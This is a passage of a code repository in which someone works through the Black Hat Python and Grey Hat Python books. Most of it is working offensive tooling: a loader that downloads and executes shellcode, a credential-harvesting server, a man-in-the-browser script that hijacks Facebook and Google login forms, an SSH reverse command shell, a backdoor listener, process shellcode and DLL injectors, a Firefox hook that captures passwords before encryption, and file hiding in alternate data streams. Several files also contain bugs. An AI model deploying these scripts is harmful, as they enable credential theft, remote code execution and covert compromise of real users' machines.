device context 16 | desktop_dc = win32gui.GetWindowDC(hdesktop) 17 | img_dc = win32ui.CreateDCFromHandle(desktop_dc) 18 | 19 | # create a memory based device context 20 | mem_dc = img_dc.CreateCompatibleDC() 21 | 22 | # create a bitmap object 23 | screenshot = win32ui.CreateBitmap() 24 | screenshot.CreateCompatibleBitmap(img_dc, width, height) 25 | mem_dc.SelectObject(screenshot) 26 | 27 | # copy the screen into our memory device context 28 | mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) 29 | 30 | # save the bitmap to a file 31 | screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp') 32 | 33 | # free our objects 34 | mem_dc.DeleteDC() 35 | win32gui.DeleteObject(screenshot.GetHandle()) -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter8/shell_exec.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | import ctypes 3 | import base64 4 | 5 | # retrieve the shellcode from our web server 6 | url = "http://localhost:8000/shellcode.bin" 7 | response = urllib2.urlopen(url) 8 | 9 | # decode the shellcode from base64 10 | shellcode = base64.b64decode(response.read()) 11 | 12 | # create a buffer in memory 13 | shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode)) 14 | 15 | # create a function pointer to our shellcode 16 | shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p)) 17 | 18 | # call our shellcode 19 | shellcode_func() -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter9/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Black-Hat-Python/BHP-Code/Chapter9/.DS_Store -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter9/cred_server.py: -------------------------------------------------------------------------------- 1 | import SimpleHTTPServer 2 | import SocketServer 3 | import urllib 4 | 5 | class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): 6 | def do_POST(self): 7 | content_length = int(self.headers['Content-Length']) 8 | creds = self.rfile.read(content_length).decode('utf-8') 9 | print creds 10 | site = self.path[1:] 11 | self.send_response(301) 12 | self.send_header('Location', urllib.unquote(site)) 13 | self.end_headers() 14 | 15 | server = SocketServer.TCPServer(('0.0.0.0', 8080), CredRequestHandler) 16 | server.serve_forever() -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter9/keygen.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | new_key = RSA.generate(2048, e=65537) 3 | public_key = new_key.publickey().exportKey("PEM") 4 | private_key = new_key.exportKey("PEM") 5 | 6 | 7 | print public_key 8 | print private_key 9 | -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter9/mitb.py: -------------------------------------------------------------------------------- 1 | import win32com.client 2 | import time 3 | import urlparse 4 | import urllib 5 | 6 | data_receiver = "http://localhost:8080/" 7 | 8 | target_sites = {} 9 | target_sites["www.facebook.com"] = \ 10 | {"logout_url" : None, 11 | "logout_form" : "logout_form", 12 | "login_form_index": 0, 13 | "owned" : False} 14 | 15 | target_sites["accounts.google.com"] = \ 16 | {"logout_url" : "https://accounts.google.com/Logout?hl=en&continue=https://accounts.google.com/ServiceLogin%3Fservice%3Dmail", 17 | "logout_form" : None, 18 | "login_form_index" : 0, 19 | "owned" : False} 20 | 21 | target_sites["www.gmail.com"] = target_sites["accounts.google.com"] 22 | target_sites["mail.google.com"] = target_sites["accounts.google.com"] 23 | 24 | clsid='{9BA05972-F6A8-11CF-A442-00A0C90A8F39}' 25 | 26 | windows = win32com.client.Dispatch(clsid) 27 | 28 | def wait_for_browser(browser): 29 | 30 | # wait for the browser to finish loading a page 31 | while browser.ReadyState != 4 and browser.ReadyState != "complete": 32 | time.sleep(0.1) 33 | 34 | return 35 | 36 | while True: 37 | 38 | for browser in windows: 39 | 40 | url = urlparse.urlparse(browser.LocationUrl) 41 | 42 | if url.hostname in target_sites: 43 | 44 | if target_sites[url.hostname]["owned"]: 45 | continue 46 | 47 | # if there is an URL we can just redirect 48 | if target_sites[url.hostname]["logout_url"]: 49 | 50 | browser.Navigate(target_sites[url.hostname]["logout_url"]) 51 | wait_for_browser(browser) 52 | else: 53 | # retrieve all elements in the document 54 | full_doc = browser.Document.all 55 | 56 | # iterate looking for the logout form 57 | for i in full_doc: 58 | 59 | try: 60 | 61 | # find the logout form and submit it 62 | if i.id == target_sites[url.hostname]["logout_form"]: 63 | i.submit() 64 | wait_for_browser(browser) 65 | 66 | except: 67 | pass 68 | 69 | try: 70 | # now we modify the login form 71 | login_index = target_sites[url.hostname]["login_form_index"] 72 | login_page = urllib.quote(browser.LocationUrl) 73 | browser.Document.forms[login_index].action = "%s%s" % (data_receiver, login_page) 74 | target_sites[url.hostname]["owned"] = True 75 | 76 | except: 77 | pass 78 | 79 | 80 | time.sleep(5) -------------------------------------------------------------------------------- /Black-Hat-Python/README.md: -------------------------------------------------------------------------------- 1 | # Black-Hat-Python 2 | 3 | Code repository for Black Hat Python 4 | 5 | This is mostly a scratch place for me to work through the examples in the book. 6 | -------------------------------------------------------------------------------- /Black-Hat-Python/bh-sshcmd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | 3 | import threading 4 | import paramiko 5 | import subprocess 6 | 7 | def ssh_command(ip, user, passwd, command): 8 | client = paramike.SSHClient() 9 | ## client can also support using key files 10 | #client.load_host_keys('/home/user/.ssh/known_hosts') 11 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 12 | client.connect(ip, username=user, password=passwd) 13 | ssh_session = client.get_transport().open_session() 14 | if ssh_session.active: 15 | ssh_session.exec_command(command) 16 | print ssh_session.recv(1024) 17 | return 18 | 19 | ssh_command('127.0.0.1', 'username', 'password', 'id') 20 | -------------------------------------------------------------------------------- /Black-Hat-Python/bh_sshRcmd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | 3 | import threading 4 | import subprocess 5 | import paramiko 6 | 7 | 8 | def ssh_command(ip, user, passwd, command): 9 | client = paramike.SSHClient() 10 | ## client can also support using key files 11 | #client.load_host_keys('/home/user/.ssh/known_hosts') 12 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 13 | client.connect(ip, username=user, password=passwd) 14 | ssh_session = client.get_transport().open_session() 15 | if ssh_session.active: 16 | ssh_session.send(command) 17 | print ssh_session.recv(1024) # read banner 18 | while True: 19 | command = ssh_session.recv(1024) # get the command from the SSH server 20 | try: 21 | cmd_output = subprocess.check_output(command, shell=True) 22 | ssh_session.send(cmd_output) 23 | except Exception,e: 24 | ssh_session.send(str(e)) 25 | client.close() 26 | return 27 | -------------------------------------------------------------------------------- /Black-Hat-Python/bh_sshserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | 3 | import socket 4 | import subprocess 5 | import paramiko 6 | import sys 7 | 8 | # using the key from the Paramiko demo file 9 | 10 | host_key = paramiko.RSAKey(filename='test_rsa.key') 11 | 12 | class Server (paramike.ServerInterface): 13 | def _init_(self): 14 | self.event = threading.Event() 15 | def check_channel_request(self, kind, chanid): 16 | if kind == 'session': 17 | return paramiko.OPEN_SUCCEED 18 | -------------------------------------------------------------------------------- /Black-Hat-Python/tcp-client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | target_host = "www.google.com" 4 | target_port = 80 5 | 6 | # create a socket object 7 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | 9 | # connect the client 10 | client.connect((target_host, target_port)) 11 | 12 | # send some data 13 | client.send("GET / HTTP/1.1\r\nHost: google.com\r\n\r\n") 14 | 15 | # receive data 16 | response = client.recv(4096) 17 | 18 | print response -------------------------------------------------------------------------------- /Black-Hat-Python/tcp-server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | 4 | bind_ip = "0.0.0.0" 5 | bind_port = 9999 6 | 7 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | 9 | server.bind((bind_ip, bind_port)) 10 | 11 | server.listen(5) 12 | 13 | print "[*] Listening on %s:%d" % (bind_ip, bind_port) 14 | 15 | def handle_client(client_socket): 16 | 17 | # send something 18 | client_socket.send("Connected\r\n") 19 | 20 | # print out what the client sends 21 | request = client_socket.recv(1024) 22 | 23 | print "[*] Reveived: %s" % request 24 | 25 | # send back a packet 26 | client_socket.send("ACK!\r\n") 27 | 28 | client_socket.close() 29 | 30 | while True: 31 | client, addr = server.accept() 32 | 33 | print "[*] Accepted connection from: %s:%d" % (addr[0], addr[1]) 34 | 35 | # spin up our client thread to handle incoming data 36 | client_handler = threading.Thread(target=handle_client,args=(client,)) 37 | client_handler.start() -------------------------------------------------------------------------------- /Black-Hat-Python/udp-client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | target_host = "127.0.0.1" 4 | target_port = 80 5 | 6 | # create a socket object 7 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 8 | 9 | # send some data 10 | client.sendto("AAABBBCCC",(target_host, target_port)) 11 | 12 | # recieve some data 13 | data, addr = client.recvfrom(4096) 14 | 15 | print data -------------------------------------------------------------------------------- /Black-Hat-Python/untitled-1.py: -------------------------------------------------------------------------------- 1 | def sum(number_one, number_two): 2 | number_one_int = convert_integer(number_one) 3 | number_two_int = convert_integer(number_two) 4 | result = number_one_int + number_two_int 5 | return result 6 | 7 | def convert_integer(number_string): 8 | converted_integer = int(number_string) 9 | return converted_integer 10 | 11 | answer = sum("1", "2") 12 | 13 | print answer -------------------------------------------------------------------------------- /Grey-Hat-Python/chapter1-printf.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | 3 | msvcrt = cdll.msvcrt 4 | message_string = "Hello World!" 5 | msvcrt.printf("Testing: %s", message_string) 6 | -------------------------------------------------------------------------------- /Grey-Hat-Python/src/access_violation_handler.py: -------------------------------------------------------------------------------- 1 | from pydbg import * 2 | from pydbg.defines import * 3 | 4 | # Utility libraries included with PyDbg 5 | import utils 6 | 7 | # This is our access violation handler 8 | def check_accessv(dbg): 9 | 10 | # We skip first-chance exceptions 11 | if dbg.dbg.u.Exception.dwFirstChance: 12 | return DBG_EXCEPTION_NOT_HANDLED 13 | 14 | crash_bin = utils.crash_binning.crash_binning() 15 | crash_bin.record_crash(dbg) 16 | print crash_bin.crash_synopsis() 17 | 18 | dbg.terminate_process() 19 | 20 | return DBG_EXCEPTION_NOT_HANDLED 21 | 22 | pid = raw_input("Enter the Process ID: ") 23 | 24 | dbg = pydbg() 25 | dbg.attach(int(pid)) 26 | dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,check_accessv) 27 | dbg.run() -------------------------------------------------------------------------------- /Grey-Hat-Python/src/addnum.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int add_number( int num1, int num2 ) 6 | { 7 | int sum; 8 | 9 | sum = num1 - num2; 10 | 11 | return sum; 12 | } 13 | 14 | int main(int argc, char* argv[]) 15 | { 16 | int num1, num2; 17 | int return_value; 18 | 19 | if( argc < 2 ) 20 | { 21 | printf("You need to enter two numbers to add.\n"); 22 | printf("addnum.exe num1 num2\n"); 23 | 24 | return 0; 25 | } 26 | 27 | num1 = atoi(argv[1]); 28 | num2 = atoi(argv[2]); 29 | 30 | return_value = add_number( num1, num2 ); 31 | 32 | printf("Sum of %d + %d = %d",num1, num2, return_value ); 33 | 34 | return 0; 35 | } 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /Grey-Hat-Python/src/addnum.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Grey-Hat-Python/src/addnum.exe -------------------------------------------------------------------------------- /Grey-Hat-Python/src/addnum_function_call.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | sys.path.append("C:\\PyEmu") 4 | sys.path.append("C:\\PyEmu\\lib") 5 | 6 | from PyEmu import * 7 | 8 | 9 | def ret_handler(emu, address): 10 | 11 | num1 = emu.get_stack_argument("arg_0") 12 | num2 = emu.get_stack_argument("arg_4") 13 | sum = emu.get_register("EAX") 14 | 15 | print "[*] Function took: %d, %d and the result is %d" % ( num1, num2, sum) 16 | 17 | return True 18 | 19 | 20 | emu = IDAPyEmu() 21 | 22 | # Load the binary's code segment 23 | code_start = SegByName(".text") 24 | code_end = SegEnd( code_start ) 25 | 26 | while code_start <= code_end: 27 | emu.set_memory( code_start, GetOriginalByte(code_start), size=1 ) 28 | code_start += 1 29 | 30 | print "[*] Finished loading code section into memory." 31 | 32 | # Load the binary's data segment 33 | data_start = SegByName(".data") 34 | data_end = SegEnd( data_start ) 35 | 36 | while data_start <= data_end: 37 | emu.set_memory( data_start, GetOriginalByte(data_start), size=1) 38 | data_start += 1 39 | 40 | print "[*] Finished loading data section into memory." 41 | 42 | # Set EIP to start executing at the function head 43 | emu.set_register("EIP", 0x00401000) 44 | 45 | # Set up the ret handler 46 | emu.set_mnemonic_handler("ret", ret_handler) 47 | 48 | # Set the function parameters for the call 49 | emu.set_stack_argument(0x8, 0x00000001, name="arg_0") 50 | emu.set_stack_argument(0xc, 0x00000002, name="arg_4") 51 | 52 | # There are 10 instructions in this function 53 | emu.execute( steps = 10 ) 54 | 55 | print "[*] Finished function emulation run." -------------------------------------------------------------------------------- /Grey-Hat-Python/src/backdoor_shell.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | host = "192.168.244.1" 5 | port = 4444 6 | 7 | server = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) 8 | 9 | server.bind( ( host, port ) ) 10 | server.listen( 5 ) 11 | 12 | print "[*] Server bound to %s:%d" % ( host , port ) 13 | connected = False 14 | while 1: 15 | 16 | #accept connections from outside 17 | if not connected: 18 | (client, address) = server.accept() 19 | connected = True 20 | 21 | print "[*] Accepted Shell Connection" 22 | buffer = "" 23 | 24 | while 1: 25 | try: 26 | recv_buffer = client.recv(4096) 27 | 28 | print "[*] Received: %s" % recv_buffer 29 | if not len(recv_buffer): 30 | break 31 | else: 32 | buffer += recv_buffer 33 | except: 34 | break 35 | 36 | # We've received everything, now it's time to send some input 37 | command = raw_input("Enter Command> ") 38 | client.sendall( command + "\r\n\r\n" ) 39 | print "[*] Sent => %s" % command 40 | 41 | -------------------------------------------------------------------------------- /Grey-Hat-Python/src/badchar.py: -------------------------------------------------------------------------------- 1 | from immlib import * 2 | 3 | def main(args): 4 | 5 | imm = Debugger() 6 | 7 | bad_char_found = False 8 | 9 | # First argument is the address to begin our search 10 | address = int(args[0],16) 11 | 12 | # Shellcode to verify 13 | shellcode = "<>" 14 | shellcode_length = len(shellcode) 15 | 16 | debug_shellcode = imm.readMemory( address, shellcode_length ) 17 | debug_shellcode = debug_shellcode.encode("HEX") 18 | 19 | imm.log("Address: 0x%08x" % address) 20 | imm.log("Shellcode Length : %d" % length) 21 | 22 | imm.log("Attack Shellcode: %s" % canvas_shellcode[:512]) 23 | imm.log("In Memory Shellcode: %s" % id_shellcode[:512]) 24 | 25 | # Begin a byte-by-byte comparison of the two shellcode buffers 26 | count = 0 27 | while count <= shellcode_length: 28 | 29 | if debug_shellcode[count] != shellcode[count]: 30 | 31 | imm.log("Bad Char Detected at offset %d" % count) 32 | bad_char_found = True 33 | break 34 | 35 | count += 1 36 | 37 | if bad_char_found: 38 | imm.log("[*****] ") 39 | imm.log("Bad character found: %s" % debug_shellcode[count]) 40 | imm.log("Bad character original: %s" % shellcode[count]) 41 | imm.log("[*****] ") 42 | 43 | 44 | return "[*] !badchar finished, check Log window." 45 | -------------------------------------------------------------------------------- /Grey-Hat-Python/src/buffer_overflow.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | 3 | msvcrt = cdll.msvcrt 4 | 5 | # Give the debugger time to attach, then hit a button 6 | raw_input("Once the debugger is attached, press any key.") 7 | 8 | # Create the 5-byte destination buffer 9 | buffer = c_char_p("AAAAA") 10 | 11 | # The overflow string 12 | overflow = "A" * 100 13 | 14 | # Run the overflow 15 | msvcrt.strcpy(buffer, overflow) 16 | -------------------------------------------------------------------------------- /Grey-Hat-Python/src/code_injector.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from ctypes import * 3 | 4 | PAGE_EXECUTE_READWRITE = 0x00000040 5 | PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) 6 | VIRTUAL_MEM = ( 0x1000 | 0x2000 ) 7 | 8 | kernel32 = windll.kernel32 9 | pid = int(sys.argv[1]) 10 | pid_to_kill = sys.argv[2] 11 | 12 | if not sys.argv[1] or not sys.argv[2]: 13 | print "Code Injector: ./code_injector.py " 14 | sys.exit(0) 15 | 16 | #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA 17 | #Size=159 Encoder=None http://metasploit.com */ 18 | shellcode = \ 19 | "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ 20 | "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ 21 | "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ 22 | "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ 23 | "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ 24 | "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ 25 | "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ 26 | "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ 27 | "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ 28 | "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" 29 | 30 | padding = 4 - (len( pid_to_kill )) 31 | replace_value = pid_to_kill + ( "\x00" * padding ) 32 | replace_string= "\x41" * 4 33 | 34 | shellcode = shellcode.replace( replace_string, replace_value ) 35 | code_size = len(shellcode) 36 | 37 | # Get a handle to the process we are injecting into. 38 | h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) 39 | 40 | if not h_process: 41 | 42 | print "[*] Couldn't acquire a handle to PID: %s" % pid 43 | sys.exit(0) 44 | 45 | # Allocate some space for the shellcode 46 | arg_address = kernel32.VirtualAllocEx( h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) 47 | 48 | # Write out the shellcode 49 | written = c_int(0) 50 | kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written)) 51 | 52 | # Now we create the remote thread and point it's entry routine 53 | # to be head of our shellcode 54 | thread_id = c_ulong(0) 55 | if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,byref(thread_id)): 56 | 57 | print "[*] Failed to inject process-killing shellcode. Exiting." 58 | sys.exit(0) 59 | 60 | print "[*] Remote thread successfully created with a thread ID of: 0x%08x" % thread_id.value 61 | print "[*] Process %s should not be running anymore!" % pid_to_kill 62 | -------------------------------------------------------------------------------- /Grey-Hat-Python/src/cross_ref.py: -------------------------------------------------------------------------------- 1 | from idaapi import * 2 | 3 | danger_funcs = ["strcpy","sprintf","strncpy"] 4 | 5 | for func in danger_funcs: 6 | 7 | addr = LocByName( func ) 8 | 9 | if addr != BADADDR: 10 | 11 | # Grab the cross-references to this address 12 | cross_refs = CodeRefsTo( addr, 0 ) 13 | 14 | print "Cross References to %s" % func 15 | print "-------------------------------" 16 | for ref in cross_refs: 17 | 18 | print "%08x" % ref 19 | 20 | # Color the call RED 21 | SetColor( ref, CIC_ITEM, 0x0000ff) 22 | 23 | print 24 | 25 | -------------------------------------------------------------------------------- /Grey-Hat-Python/src/dll_injector.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from ctypes import * 3 | 4 | PAGE_READWRITE = 0x04 5 | PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) 6 | VIRTUAL_MEM = ( 0x1000 | 0x2000 ) 7 | 8 | kernel32 = windll.kernel32 9 | pid = sys.argv[1] 10 | dll_path = sys.argv[2] 11 | dll_len = len(dll_path) 12 | 13 | # Get a handle to the process we are injecting into. 14 | h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) 15 | 16 | if not h_process: 17 | 18 | print "[*] Couldn't acquire a handle to PID: %s" % pid 19 | sys.exit(0) 20 | 21 | 22 | # Allocate some space for the DLL path 23 | arg_address = kernel32.VirtualAllocEx( h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) 24 | 25 | # Write the DLL path into the allocated space 26 | written = c_int(0) 27 | kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) 28 | 29 | # We need to resolve the address for LoadLibraryA 30 | h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") 31 | h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA") 32 | 33 | # Now we try to create the remote thread, with the entry point set 34 | # to LoadLibraryA and a pointer to the DLL path as it's single parameter 35 | thread_id = c_ulong(0) 36 | 37 | if not kernel32.CreateRemoteThread(h_process,None,0,h_loadlib,arg_address,0,byref(thread_id)): 38 | 39 | print "[*] Failed to inject the DLL. Exiting." 40 | sys.exit(0) 41 | 42 | 43 | print "[*] Remote thread successfully created with a thread ID of: 0x%08x" % thread_id.value 44 | print "[*] VNC Connection now open and ready for action...." 45 | -------------------------------------------------------------------------------- /Grey-Hat-Python/src/file_hider.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | # Read in the DLL 4 | fd = open( sys.argv[1], "rb" ) 5 | dll_contents = fd.read() 6 | fd.close() 7 | 8 | print "[*] Filesize: %d" % len( dll_contents ) 9 | 10 | # Now write it out to the ADS 11 | fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1] ), "wb" ) 12 | fd.write( dll_contents ) 13 | fd.close() -------------------------------------------------------------------------------- /Grey-Hat-Python/src/findinstruction.py: -------------------------------------------------------------------------------- 1 | from immlib import * 2 | 3 | def main(args): 4 | 5 | imm = Debugger() 6 | search_code = " ".join(args) 7 | 8 | search_bytes = imm.Assemble( search_code ) 9 | search_results = imm.Search( search_bytes ) 10 | 11 | for hit in search_results: 12 | 13 | # Retrieve the memory page where this hit exists 14 | # and make sure it's executable 15 | code_page = imm.getMemoryPagebyAddress( hit ) 16 | access = code_page.getAccess( human = True ) 17 | 18 | if "execute" in access.lower(): 19 | imm.log("[*] Found: %s (0x%08x)" % ( search_code, hit ), address = hit ) 20 | 21 | 22 | return "[*] Finished searching for instructions, check the Log window." -------------------------------------------------------------------------------- /Grey-Hat-Python/src/firefox_hook.py: -------------------------------------------------------------------------------- 1 | from pydbg import * 2 | from pydbg.defines import * 3 | 4 | import struct 5 | import utils 6 | import sys 7 | 8 | dbg = pydbg() 9 | found_firefox = False 10 | 11 | # Let's set a global pattern that we can make the hook 12 | # search for 13 | pattern = "password" 14 | 15 | # We take in the dbg instance, which also contains all 16 | # of our register contexts, and a list[] of arguments that 17 | # we hooked, the one we are interested in is args[1] 18 | def ssl_sniff( dbg, args ): 19 | 20 | # Now we read out the memory pointed to by the second argument 21 | # it is stored as an ASCII string, so we'll loop on a read until 22 | # we reach a NULL byte 23 | buffer = "" 24 | offset = 0 25 | 26 | while 1: 27 | byte = dbg.read_process_memory( args[1] + offset, 1 ) 28 | 29 | if byte != "\x00": 30 | buffer += byte 31 | offset += 1 32 | continue 33 | else: 34 | break 35 | 36 | if pattern in buffer: 37 | print "Pre-Encrypted: %s" % buffer 38 | 39 | return DBG_CONTINUE 40 | 41 | 42 | # Quick and dirty process enumeration to find firefox.exe 43 | for (pid, name) in dbg.enumerate_processes(): 44 | 45 | if name.lower() == "firefox.exe": 46 | 47 | found_firefox = True 48 | hooks = utils.hook_container() 49 | 50 | dbg.attach(pid) 51 | print "[*] Attaching to firefox.exe with PID: %d" % pid 52 | 53 | # Resolve the function address 54 | hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write") 55 | 56 | if hook_address: 57 | # Add the hook to the container, we aren't interested 58 | # in using an exit callback so we set it to None 59 | hooks.add( dbg, hook_address, 2, ssl_sniff, None) 60 | print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address 61 | break 62 | else: 63 | print "[*] Error: Couldn't resolve hook address." 64 | sys.exit(-1) 65 | 66 | 67 | if found_firefox: 68 | print "[*] Hooks set, continuing process." 69 | dbg.run() 70 | else: 71 | print "[*] Error: Couldn't find the firefox.exe process. Please fire up firefox first." 72 | sys.exit(-1) 73 | -------------------------------------------------------------------------------- /Grey-Hat-Python/src/func_coverage.py: -------------------------------------------------------------------------------- 1 | from idaapi import * 2 | 3 | class FuncCoverage(DBG_Hooks): 4 | 5 | # Our breakpoint handler 6 | def dbg_bpt(self, tid, ea): 7 | print "[*] Hit: 0x%08x" % ea 8 | return 1 9 | 10 | # Add our function coverage debugger hook 11 | debugger = FuncCoverage() 12 | debugger.hook() 13 | 14 | current_addr = ScreenEA() 15 | 16 | # Find all functions and add breakpoints 17 | for function in Functions(SegStart( current_addr ), SegEnd( current_addr )): 18 | AddBpt( function ) 19 | SetBptAttr( function, BPTATTR_FLAGS, 0x0) 20 | 21 | 22 | num_breakpoints = GetBptQty() 23 | 24 | print "[*] Set %d breakpoints." % num_breakpoints 25 | -------------------------------------------------------------------------------- /Grey-Hat-Python/src/ghp_inject.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : Defines the entry point for the DLL application. 2 | #include "stdafx.h" 3 | 4 | BOOL APIENTRY DllMain( HMODULE hModule, 5 | DWORD ul_reason_for_call, 6 | LPVOID lpReserved 7 | ) 8 | { 9 | switch (ul_reason_for_call) 10 | { 11 | case DLL_PROCESS_ATTACH: 12 | MessageBoxA(NULL,"Hello from the process!","I am inside the process you injected!",MB_OK); 13 | case DLL_THREAD_ATTACH: 14 | case DLL_THREAD_DETACH: 15 | case DLL_PROCESS_DETACH: 16 | break; 17 | } 18 | return TRUE; 19 | } 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Grey-Hat-Python/src/ghp_inject.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Grey-Hat-Python/src/ghp_inject.dll -------------------------------------------------------------------------------- /Grey-Hat-Python/src/hippie_easy.py: -------------------------------------------------------------------------------- 1 | import immlib 2 | import immutils 3 | 4 | # This is Nico's function that looks for the correct 5 | # basic block that has our desired ret instruction 6 | # this is used to find the proper hook point for RtlAllocateHeap 7 | def getRet(imm, allocaddr, max_opcodes = 300): 8 | addr = allocaddr 9 | 10 | for a in range(0, max_opcodes): 11 | op = imm.disasmForward( addr ) 12 | if op.isRet(): 13 | if op.getImmConst() == 0xC: 14 | op = imm.disasmBackward( addr, 3) 15 | return op.getAddress() 16 | addr = op.getAddress() 17 | 18 | return 0x0 19 | 20 | # A simple wrapper to just print out the hook 21 | # results in a friendly manner, it simply checks the hook 22 | # address against the stored addresses for RtlAllocateHeap, RtlFreeHeap 23 | def showresult(imm, a, rtlallocate, extra = ""): 24 | 25 | if a[0] == rtlallocate: 26 | imm.Log("RtlAllocateHeap(0x%08x, 0x%08x, 0x%08x) <- 0x%08x %s" % ( a[1][0], a[1][1], a[1][2], a[1][3], extra), address = a[1][3] ) 27 | return "done" 28 | else: 29 | imm.Log("RtlFreeHeap(0x%08x, 0x%08x, 0x%08x) %s" % (a[1][0], a[1][1], a[1][2], extra) ) 30 | 31 | 32 | def main(args): 33 | 34 | imm = immlib.Debugger() 35 | Name = "hippie" 36 | 37 | fast = imm.getKnowledge( Name ) 38 | if fast: 39 | # We have previously set hooks, so we must want 40 | # to print the results 41 | hook_list = fast.getAllLog() 42 | 43 | rtlallocate, rtlfree = imm.getKnowledge("FuncNames") 44 | 45 | for a in hook_list: 46 | ret = showresult( imm, a, rtlallocate ) 47 | 48 | return "Logged: %d hook hits. Results output to log window." % len(hook_list) 49 | 50 | # We want to stop the debugger before monkeying around 51 | imm.Pause() 52 | 53 | rtlfree = imm.getAddress("ntdll.RtlFreeHeap") 54 | rtlallocate = imm.getAddress("ntdll.RtlAllocateHeap") 55 | 56 | module = imm.getModule("ntdll.dll") 57 | if not module.isAnalysed(): 58 | imm.analyseCode( module.getCodebase() ) 59 | 60 | # We search for the correct function exit point 61 | rtlallocate = getRet( imm, rtlallocate, 1000 ) 62 | imm.Log("RtlAllocateHeap hook: 0x%08x" % rtlallocate) 63 | 64 | # Store the hook points 65 | imm.addKnowledge("FuncNames", ( rtlallocate, rtlfree ) ) 66 | 67 | # Now we start building the hook 68 | fast = immlib.STDCALLFastLogHook( imm ) 69 | 70 | # We are trapping RtlHeapAllocate at the end of the function 71 | imm.Log("Logging on Alloc 0x%08x" % rtlallocate) 72 | fast.logFunction( rtlallocate ) 73 | fast.logBaseDisplacement( "EBP", 8) 74 | fast.logBaseDisplacement( "EBP", 0xC) 75 | fast.logBaseDisplacement( "EBP", 0x10) 76 | fast.logRegister( "EAX" ) 77 | 78 | # We are trapping RtlHeapFree at the head of the function 79 | imm.Log("Logging on RtlHeapFree 0x%08x" % rtlfree) 80 | fast.logFunction( rtlfree, 3 ) 81 | 82 | # Set the hook 83 | fast.Hook() 84 | 85 | # Store the hook object so we can retrieve results later 86 | imm.addKnowledge(Name, fast, force_add 